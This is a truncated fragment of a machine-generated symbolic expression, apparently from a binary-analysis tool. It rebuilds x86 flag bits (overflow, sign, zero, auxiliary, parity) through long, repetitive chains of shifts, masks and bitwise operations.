0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])])])>>(0x6&-0x1))+-0x1)])]|~[0x14000b964])]&~[(~[(~[(((~[-0x41]&~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])])])>>(0x6&-0x1))+-0x1)]&~[(((~[-0x41]&~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])])])>>(0x6&-0x1))+-0x1)])]|~[0x14000b964])])+(~[(~[(((~[-0x41]&~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 